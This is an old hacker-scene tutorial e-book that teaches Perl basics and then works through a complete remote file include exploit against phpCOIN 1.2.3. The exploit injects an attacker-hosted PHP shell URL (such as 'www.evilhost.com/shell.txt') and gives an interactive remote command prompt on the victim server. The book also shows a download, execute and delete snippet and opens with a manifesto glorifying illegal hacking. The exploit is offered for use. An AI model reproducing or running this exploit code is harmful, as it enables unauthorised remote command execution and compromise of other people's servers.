Learning perl
-
Writing exploits

by: Warpboy

Table of Contents

Notes:

All the source code found in this book is in the directories included in the rar file that you downloaded.In most the chapters the code is centered so you cannot copy + paste it easily, I encourage you to type the actual code. It will help you better comprehend what is actually going on in the code itself.

Any questions/comments? Go down to teh 0x0C chapter where my contact information is. Good luck with the book! You'll soon be coding your very own exploit!

Sincerely,
Warpboy

"I am a hacker, knowledge is what I seek. I exist only to fulfill a lumbering quota of curiosity. To test my skills challenge me, but question my skills, fall before me. The law prohibits my actions, but my actions are unknown and unpredictible as everything in nature. This fear of the unknown promotes flagitious crimes against the birth rights that every human is given: freedom, curiosity, the right to question. I am a hacker, my actions are flawless, and that way they shall stay. This curiosity completes us all, and drives us all. Hacking is no solo trip, we ride together as notorious bandits, but you cannot stop us, after all, we are just cyber ghosts, but its not who we are, it's what we do... that defines us." -- Warpboy

Introduction

Perl (Practical Extraction and Report Language) started out as a UNIX application. Today Perl is used on almost all operating systems to compute just like other programming languages. Perl is unique just like every programming language; it stands out by being easy to learn and easy to use. Why should you code in Perl? Perl is unique in the hacking scene. About 70% of exploits are coded in Perl. The reason why most hackers choose to write there exploits in perl is because it is easy to interpret, it is easy to download and use these exploits, and it is effecient and gets the job done swiftly. So if your interested in finding vulnerablities and sharing them in coded perl exploits, then you are reading the right document. Of course, this is a crash course in perl so if your just interested in learning the language, feel free to read the document.

The Basics

Well before you begin programming in Perl you need to download ActiveStates's perl interpreter. You can download it at www.activestate.us. Next what you need is a text editor. I, personally, recommend DzSofts Perl Editor (www.dzsoft.com). If your looking for a free text editor use notepad. If the above mentioned does not suit you just google (Perl Editor). Perl files have a unique extension, all your perl files should be saved with a .pl extension.

Now once all is setup, it's time to jump into the boat and get sailing. Perl is simple, and not a very difficult language to learn. Like all programming languages it seems easiest to start with a basic application. This is more commonly referred to as the "Hello World" program. This just gets you going on your adventreous journey of learning a language. Lets go ahead and make a simple "Hello World" program in Perl.

```
#!/usr/bin/perl -w
print "Hello World\n";
```

Save the above as HelloWorld.pl and drag + drop it in the command prompt and hit enter. The above should print Hello World.

Let's take a look at what we just coded. The first line (#!/usr/bin/perl -w) is the beginning of EVERY perl program. It is what makes every perl program recognizable so that it can be interpreted. The (-w) in that line is a simple error checking variable. It is commonly used to sort out embarrassing errors so that they can be fixed later on. The second line (print "Hello World\n";) is, obviously, the line that printed the Hello World in your command prompt. Print is a common command used fluently in perl applications. For further clarification, the print command is like the (msgbox " " in VB6 or printf command in c++). You notice the "\n", this is the newline character in Perl. There are many special chararters in perl, below is a chart of all the special characters.

Character	Meaning
\n	NewLine
\r	Return
\t	Tab
\f	Form Feed
\b	Backspace
\v	Vertical Tab
\e	Escape
\a	Alarm
\L	Lowercase All
\l	Lowercase Next
\U	Uppercase All
\u	Uppercase First

For another example of using these special characters see below:

```
#!/usr/bin/perl -w
print "Hello\tWorld\n\a";
```

The 2nd most vital thing needed for a Perl application to run without errors is the semi-colon at the end of each line. Every line (unless in a block[explained later]) has to have a semi-colon after it. This tells perl to stop reading that line and move on through the code.

Like most programming languages perl has variables. Variables in perl hold data (temp. or permanent) and can contain numbers or strings of almost any length. Variables in perl are defined with the "$" sign. Take a look at the code below it's a simple "Hello World" program using variables.

```
#!/usr/bin/perl -w
$Hello = "Hello World\n";
print $Hello;
```

The variable in this program is "$Hello" it is given the value of "Hello World\n". Then the variable's contents are printed.

In Perl there are not only double quotation marks, but single aswell. These single quotation marks (' ') are used in arrays and can be used in replace of double quotation marks. The main difference between the two is that double quotation marks interprets special characters such as newline(\n) and single quotation marks do not.

A function that will come in handy when dealing with strings in perl is string addition. You can add strings in perl. Example below.

```
#!/usr/bin/perl -w
#<----The "#" sign is not interpreted in perl code, its used for comments
$YourName = "YOURNAME" ; #Append variable $YourName
print "Hello" . "  " . "World" . "  " . "My" . "  " . "Name" . "  " . "Is" . "  " . "$YourName".
"\n";
```

The above prints Hello World My Name Is YOURNAME, that was adding strings to form a sentence. This seems hard and stupid to do, but will come in handy later.

Perl is known for its capability to deal with stupendous numbers. Perl has many math functions just as other programming languages. Below is a perl application which will print out the basic math functions.

```
#!/usr/bin/perl
#Adding, Subtracting, Multiplying, and Dividing in Perl
#Perl can do all basic math functions and more.
$a = 3 + 5 ; #Addition
$b = 5 * 5; #Multiplication
$c = 10 / 2 ; #Division
$x = 12 - 5; #Subtraction
print $a  . " " .  "ADDITION: The solution should be 8.\n";
print $b  . " " . "MULTIPLICATION: The solution should be 25.\n";
print $c . " " . "DIVISION: The solution should be 5.\n";
print $x . " " . "SUBTRACTION: The solution should be 7.\n";
#Autoincrementing and Autodecrementing
$Count = $Count + 1;
print "$Count\n";
#The Same Thing but easier to read
$Count1 += 1  ; #Decrement $Count1 -=1 1
print "$Count1\n";
#Square Root
$Square = sqrt(121)     ;
print "The square root of 121 is $Square\n";
#Exponents
$Exp = 2**5 ;
print "$Exp\n";
```

Arrays

Array's are in lamence terms "lists". Arrays, unlike variables, hold multiple items which can be called or used later in a Perl application. As always, its best to take a look at an array in action to better understand them. Below is a Hello World application written with an array.

```
#!/usr/bin/perl -w
@Hello = ('Hello', 'World'); #Arrays use the @ symbol, like a variables "$".
print join(' ', @Hello) . "\n";
```

The array is "@Hello" and it contains two values: "Hello", "World", arrays can contain an almost infanite amount of values. The join function is used when printing the elements of an array, the below prints the same thing as the above, just using different methods.

```
#!/usr/bin/perl -w
#The Split Method
$Sentence = "Hello my name is Warpboy.";
@Words = split(/ /, $Sentence) ;
print "@Words" . " " . "That was splitting data" . "\n";
#The Longer Way
@Hello = ('Hello', 'World');
print $Hello[0] . " " . $Hello[1] . "\n";
#Count starts at 0 so 'Hello' = 0 and so on
```

The split method is somewhat similar to the join method, it splits words apart with spaces. The longer method can be confusing at times and makes for rough code. However, it produces the same effect as the above methods. To create a array take a look at the code below.

```
#!/usr/bin/perl -w
@array = qw(bam bam bam bam);
print join(' ', @array);
#Simple
```

All in all, arrays are pretty simple, they are lists that can contain data which will become useful in your programs.

Conditionals

Conditionals, for lack of a better term are, IF - THEN statements. They are featured in every programming language, and if you remember way back when, they were used in many math courses. If - Then statements are used to test the condition of a variable. A practical example of If-Then statments could be: If Bob ate the apple, then he isn't hungry any more. So if Bob didn't eat the apple it would be logical to assume that he is still hungry.

In Perl the basic format for an If-Then statement is:

```
if ( Logical ) { Then... }
```

Conditional's are rather simple and used somewhat fluently in most Perl programs. Let's take a look at a conditional in action:

```
#!/usr/bin/perl -w
$i = 1;
if($i ==1) {
$i++; #Increment
print $i . "\n";
#Print's 2 because the variable $i's condition was true
#If $i was any other '#' it wouldnt print anything.
}
```

Conditionals can also be used with strings instead of numeric values. Take a look at the code below for an example:

```
#!/usr/bin/perl -w
$i = Hello;
if($i eq 'Hello') {
print "Hello!\n";
}
else{
print "The variable (i) doesn't equal the correct string!\n";
} #Change the value of $i to anything (else) and it will use the (else) statement
instead
```

The above code uses the else statement, the else statement is used in scenarios when the If-Then statement could be false. You will see it used more in user input code where the tested logical could be false more often. That's pretty much the basic's of conditionals in Perl.

Gathering User Input

User input is used in exploits, almost always, so it is vital to understand the many methods of collecting user input in a Perl application. User input is used to gather information from the user so it can interpret the inputted information and process the information to give a result depending on what the program was suppose to do.

The below is the first method, it could be referred to as the STDIN method. STDIN is a line input operator; hence, it collects user input.

```
#!/usr/bin/perl -w
#STDIN Method
print "Hello my name is Warpboy, what is your name?: ";
$L1 = <STDIN>;
chomp $L1;
print "Nice to meet you $L1!\n";
```

The first line collects the input and assigns it to the variable $L1, then the variable is chomped meaning the newline character it is naturally given, is removed. Finally, the contents collected from the end user are printed.

Time to take a look at the next method; this method could be referred to as the @ARGV method. @ARGV looks like an array, but it is no ordinary array. @ARGV can hold user arguements. You see this method used alot in Perl exploits. An example you may recognize:

```
perl sploit.pl www.somesite.com /forums/ 1
```

All of which are arguements (excluding perl and sploit.pl) which can be handled by @ARGV and interpretted to print an output.

Below is an example of @ARGV in use.

```
#!/usr/bin/perl -w
if(@ARGV !=2) {
print "Usage: perl $0 <name> <number>\n";
exit;
}
($name, $num) = @ARGV;
print "Hello $name & your number was: $num!\n";
```

The above code takes the user inputted arguements (<name> and <number>) and stores them in the @ARGV array, then prints the contents in a simpatico fashion.

You notice the $0, this is variable is used to take the place of where the filename would be. Such as (perl file.pl) , file.pl is $0 and it is excluded from the inputted information.

The next method uses a perl module to collect user input. This module is called the GetOpt. Take a look at the code below for an example:

```
#!/usr/bin/perl -w
#GetOpt STD module
use Getopt::Std;
getopts (":b:n:", \%args);
if (defined $args{n}) {
$n1 = $args{n};
}
if (defined $args{b}) {
$n2 = $args{b};
}
if (!defined $args{n} or !defined $args{b}){
print "Usage: perl $0 -n Name -b Number\n";
exit;
}
print "Hello $n1!\n";
print "Your number was: $n2\n";
print "Visit www.securitydb.org today!\n\n";
```

The above code looks a little complicated; however, it's not hard to interpret and understand what is going on in the program. First the module "GetOpt" is called and using its flags (-b and -n) are defined. We then use a hash to store them.

What happens next is we create a conditional which basically says " if the user defined the flag -n then store the information in a variable ($n1)". This process is repeated with the flag -b. Then we create one more conditional, this one is sort of like the else statement for the program. It basically prints the usage rules if neither flags are defined in the program, then it exits. After all the user input is collected using the GetOpt module, the contents are printed. Although there are more than one way to use the GetOpt module, this is probably my favorite way to use it.

Thats the most common methods of gathering user input in perl. These methods will be used later when writing exploits so that the end user doesn't have to config the perl code manually, making it more user friendly. The next thing that is required to successfully say that you learned perl, is loops. The next chapter covers the basics of every kind of loop in perl.

Loops

I have written a perl app. that will explain to you the different loops in perl. If you have previously studied a programming language this may come easy to you. Take a look at the following, it is fully commented (sorry that its broken up into 2 pages).

```
#!/usr/bin/perl
#Loop Tutorial
#By Warpboy
#www.securitydb.org
###################################
#FULLY Commented#
###################################

#While Loops
#Format
# while (Comparison) {
# Action }
#While loops will loop while the comparison is true, if it changes to false, it will no longer continue to loop through its set of action(s).
$i = 1;
while($i <= 5) {
print "While:" . $i . "\n";
$i++;
}

#For Loops
#Format
# for (init_expr; test_expr; step_expr;) {
#   ACTION  }
##
# Init expression is done first, then the test expression is tested to be true or false then --
#  the step expression is executed.
for($t = 1; $t <= 5; $t++) {
print "For:" . $t . "\n";
}

##Continued to next page
```

```
#Until Loops
#Format
# until (Comparison) {
# Action }
##
# An until loop tests the true false comparison, if it is true, it will continue to loop
until the comparison changes to a
# false state.
$p = 1;
until($p == 6) { #It's six because when $p becomes = 5, it doesnt go through the
set of action sequences; therefore, 5 isn't printed.
print "Until:" . $p . "\n";
$p++;
}

#Foreach Loops
#Used most commonly to loop through lists
#Format
# foreach $num (@array) {
# Action }
$n = 1;
foreach $n (1..5) {
print "Foreach:" . $n . "\n";
$n++;
}
#End Tutorial
```

Hopefully, that explained the loops in a nice and easy way for you to learn. Loops are used very fluently in perl apps. it is at an utmost importance to fully comprehend how they work. After some practice it shouldn't be hard to catch on.

LibWWW 0x07

LibWWW or LWP for short, is a module included in most perl interpreters that enables perl to interact with the web. LWP has many different uses and isn't just in one module, there are different derivitives of it, the ones you will need to become more familiar with are LWP UserAgent and LWP Simple. LWP isn't complex at all, you should find yourself coding web interacting perl applications in no time after reading this chapter.

The first LWP module that I will cover is the LWP Simple module. The LWP simple module will probably be one of the most un-used modules in your exploits but it sets a solid foundation for you to grow and learn more about different LWP modules.

To use/call the LWP module or any module you do the following:

```
#!/usr/bin/perl
use LWP::Simple; # calls the module located 'C:\Perl\site\lib\LWP'  #
print "haha?\n";
```

Some basic functions in the LWP module consist of:

get($site); - Will fetch the document identified by the given URL and return it.
getprint($site); - Prints the Source of a Webpage
getstore($site, $savefile); - Downloads + Saves file on HDD

For more documentation visit (http://search.cpan.org/dist/libwww-perl/lib/LWP/Simple.pm). Let's use one of the LWP Simple features in the some code so we can see how it works. The following is a basic web downloader, fully commented of course.

```
#!/usr/bin/perl
#Perl Web Downloader
#By Warpboy
#///Config///#
use LWP::Simple;
getstore('http://securitydb.org/images/Banner.png', 'banner.png'); #downloads +
stores file
system('banner.png'); #executes the
sleep(3); #sleeps (waits)
unlink ('banner.png'); #deletes the file
```

It is fairly simple, the file is downloaded and stored using the getstore function in the LWP Simple module. Then it is executed using the system command and deleted using the unlink command with a 3 second gap in between the execution and deletion (sleep(3)).

The next module covered is the LWP UserAgent, it has many more features than the LWP Simple module. You don't have to learn all the features in the UserAgent module, only the ones that are most commonly used in exploits will be covered. However, if you want to further your knowledge or refer to something later on, I advise giving a look at the documentation on the module here (http://search.cpan.org/~gaas/libwww-perl-5.803/lib/LWP/UserAgent.pm).

To get started let's learn a little about GET requests, they will soon be your most used command in your coded exploits. HTTP/1.1 defines GET requests as: requests a representation of the specified resource. By far the most common method used on the Web today. We will be using GET requests to create a representation of a url.

For an example of GET requests, I have coded an MD5 Database Filler, fully commented so you can understand it.

```
#!/usr/bin/perl
# Md5 Database Filler #
# Version 1.0, Add Word Manually #
# By Warpboy #
# www.securitydb.org #
# Modules needed : LWP (User Agent), Digest (MD5) #
# Download + INSTALL md5 digest module: http://search.cpan.org/~gaas/Digest-MD5-2.36/MD5.pm #

use LWP::UserAgent; # Calling our LWP Useragent module
use Digest::MD5 qw(md5_hex); # Calling our Digest MD5 module (Install {if you need it})
$brow = LWP::UserAgent->new; # Our new useragent defined under the variable $brow
while(1) { # Just a simple while loop that will run the program continously instead of just 1 time
print "Word to add: "; # prints "Word to add: "
$var = <STDIN>; # Remember from our Gathering User Input Chapter?
chomp ($var); # Chomps the newline char. it is naturally given
$seek = "http://md5.rednoize.com/?q=$var&b=MD5-Search"; # defines the variable $seek to the url (notice the ?q=$var) $var our user inputed variable
$brow->get( $seek ) or die "Failed to Send GET request!/n"; # Browser executes a get request on with the url defined in the $seek variable
print "$var" . " : " . md5_hex("$var") . " was added to database " . "\n"; # Prints the word added and the md5 hex of the word
} # End of the while loop

# To test if it worked go to http://md5.rednoize.com/ and search your md5(hex) hash given to you
# It should crack :)
# This was a simple example of a get request executed on a server
```

That was a simple example of GET requests with the LWP Useragent, thats the primary function you will be using when using the LWP Useragent. For more information on what you can do with LWP Useragent I recommend taking a look here: http://search.cpan.org/~gaas/libwww-perl-5.803/lib/LWP/UserAgent.pm.

Sockets

This chapter covers the basic's of the module IO (Input/Output) Socket INET. It is used mildly in exploits, it seem's to be more prominent in SQL injection exploits. This chapter isn't 100% necessary to read; however, please feel free to read it and learn about this module.

The IO Socket INET module provides an object interface to creating and using sockets in the AF_INET domain. We will be creating a simple socket to connect to an IP on port 80. Go ahead and read and interpret the simple socket code below.

```
#!/usr/bin/perl
use IO::Socket;
print "An IP to connect to: ";
$ip = <STDIN>;
chomp($ip);
$i=1;
while($i <=5) {
$sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>"$ip", PeerPort=>'80')
or die"Couldn't connect!\n";
print "Connected!\n";
$i++;
}
```

The first line calls the module IO Socket. The next 3 lines are our STDIN user input method. We are taking a user inputted IP and storing it in the $ip variable. You should remember this from the "Gathering User Input" chapter.

The next thing is we define the variable $i as "1". Then a while loop just runs the socket code 5 times. The socket code has Proto or Protocol (TCP/UDP) and we are using the TCP protocol. Next the PeerAddr or Peer Address arguement is equal to the user input collected IP address($ip). Then the pre-defined port which you can modify, PeerPort is equal to 80 (HTTP). The socket contains a die statement which means that if there is a failure to connect then the socket will print the error message "Couldn't connect[newline]". The last line is our true statement which prints "Connected![newline]" if there was no failure to connect. Then a simple incrementation on our $i variable.

Like said above, this module is most commonly used in your SQL Injection exploits. This module has been used to actually build Perl trojans, however, since perl is open source and its not automatically loaded on Windows machines, Perl trojans are more of a joke and easily prevented against.

Writing an Exploit

It is the time, time to compile everything you have learned from this book. In this chapter all the information in the above chapters comes together. To form a complete exploit, fully coded in Perl. Don't feel overwhelmed, if you have been comprehending the information well you should have no problem at all.

The exploit we will be coding is a RFI (Remote File Include) vulnerability discovered by my friend TimQ (HI TIMQ!). The particular web application that is vulnerable is phpCOIN 1.2.3. A link to the PoC: http://milw0rm.com/exploits/2254.

Let's go ahead and get started. The first thing we are going to do is define a few variables and setup our user input. Take a look at the following code:

```
#!/usr/bin/perl
use LWP::UserAgent;  # We call our module

#Store our user inputted information into variables
$site = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];

if($site!~/http:\/\// || $site!~/http:\/\// || !$shellsite) #checks the validity of the inputted
url
{
usg() # If the usr inputted url is invalid jump to the usg subrountine
}
header(); # Run the header subrountine
```

The first thing we do is call the LWP Useragent module. Next we have our user input variables setup, $site, $shellsite, $shellcmd. Then a conditional that tests the validity of the url inputted by the user. Without this the program could error if a invalid link is put in. If the link is valid the program executes the usg subrountine (Located at the lower portion of the exploit). Then after the conditional is ran, the header subrountine is executed (Also located at the lower portion of the exploit).

Moving on:

```
while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
```

Time for the loops, you should recall the while loop. In the above code we have a while() this is here for one reason, so that the program runs continously until some sort of error occurs. It's the same as saying while(1), the loop runs interminably. The next thing is the words "[shell] $" are printed to take the first shell command. Then there is the while(<STDIN>) loop, which means while taking user input for the command, do the following. This loop ends at the end of the program, same as the while() loop.

Moving on:

```
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$site.'/coin_includes/constants.php?_CCFG
[_PKG_PATH_INCL]='.$shellsite.'?&'.$shellcmd.'='.$cmd)or die "\n\n Failed to
Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;
```

This is when were using our knowledge of the LWP Useragent module to code the actual vulnerability code into the exploit. The variable $xpl is defined as a new LWP UserAgent. The $req variable is executing a GET request on the user inputted url ($site), then the actual vulnerability is placed onto the end of the $site variable. Following the $shellsite or where the php backdoor is located, is the $shellcmd (php shell command variable) and $cmd variable which was the user inputted command to execute on the server with the php backdoor. The final url would look like (http://www.site.com/coin_includes/constants.php?_CCFG [_PKG_PATH_INCL]=SHELL?&CMDVARIABLE=COMMAND). Notice the concatenation used to combine all the variables and and symbols together, to form one string stored in the $req variable.

The $res variable executes the GET request. The content retrieved from the GET request is stored in the $info variable.

Moving on:

```
if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}

elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/: Cannot
execute a
blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}

elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};
```

These set of conditionals are testing our returned content from the GET request for errors, if there is an error in the users input, ex. invalid command or in the website being tested, ex. failure to connect. It's pretty easy to understand, not much need for any further explanation, on this sector of code.

Moving on:

```
if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}
```

This piece of code is vital to the exploit, it is testing the web application for vulnerability. If the returned content happens to contain "Warning" then the program exits meaning that that specific site was not vulnerable.

Moving on:

```
else {
print "[shell] \$";
} # end of else
} # end of while(<STDIN>)
} # end of while()
last;

sub header()
{
print q{
++++++++++++++++++++++++++++++++++++++++++++++++
     phpCOIN 1.2.3 -- Remote Include Exploit
     Vulnerablity found by: TimQ
     Exploit coded by: Warpboy
       www.securitydb.org
       Original PoC: http://milw0rm.com/exploits/2254
++++++++++++++++++++++++++++++++++++++++++++++++
}
}
```

This section of the exploit contains an else statement for all the previous conditionals. The end of the code is our sub rountine "header" used earlier in the exploit.

The end of the exploit:

```
sub usg()
{
header();
print q{
==========================================================================
========
Usage: perl sploit.pl <phpCOIN FULL PATH> <Shell Location> <Shell Cmd>
<phpCOIN FULL PATH> - Path to site exp. www.site.com
<Shell Location> - Path to shell exp. www.evilhost.com/shell.txt
<Shell Cmd Variable> - Command variable for php shell
Example: perl C:\sploit.pl http://www.site.com/phpCOIN/
==========================================================================
=========
};

exit();
}
```

This is just our "usg" sub-rountine and a simple exit if all the code is bypassed due to errors ect.

For the full compiled coded exploit you can see it here:

http://www.securitydb.org/Warpboy/phpCOIN1.2.3exploit.txt
Downloadable version with comments:

http://www.securitydb.org/Warpboy/phpCOIN1.2.3_Exploit.rar
http://rapidshare.de/files/34107733/phpCOIN1.2.3_Exploit.rar
RARpass: www.securitydb.org

Congratulations!

Furthering Knowledge

It is always vital to continue education. Knowledge contains an immense power. By reading this book you only began to scim the top of your full capabilities. Below are some links that you can check out if your interested in learning more Perl.

http://www.cpan.org
http://www.securitydb.org/forum/
http://www.programmingtutorials.com/perl.aspx
http://www.pageresource.com/cgirec/index2.htm
http://www.cclabs.missouri.edu/things/inst...perlcourse.html
http://www.ebb.org/PickingUpPerl/pickingUpPerl_toc.html
http://vsbabu.org/tutorials/perl/
http://www.freeprogrammingresources.com/perl.html
http://www.thescripts.com/serversidescript...guru/page0.html
http://www.perl.com/pub/a/2002/08/20/perlandlwp.html
http://www.perl.com
http://www.perlmonks.org/index.pl?node=Tutorials

Of course
www.google.com

There are a variety of hard-copy books and e-books available that can teach you more than what was taught in this crash course perl book. However, this book should have set a good foundation for your Perl skills to grow and prosper from.

The End

Learning Perl - Writing Exploits has been a true experience for myself and hopefully you as a reader. As an author of many tutorials, this has by far been the longest. It has helped me to refresh and discover new coding techniques. If all goes well there possibly could be an updated 2nd edition of the book. All that is in the future.

Credits / ShoutZ / Contact Information

Credits to: TimQ for finding the phpCOIN vulnerability and letting me use it in this book.

ShoutZ: **TimQ, Z666, Ice_Dragon, kAoTiX, Archangel, Phrankeh, PunkerX, G-RayZ, Ender, Splinter, Nec, Nec's BoyFriend, Wolverine, Sentai, Vaco, and Maverick.**

Contact Information:

Email: Warpboy1@yahoo.com

MSNM: Warpboy1@yahoo.com
www.securitydb.org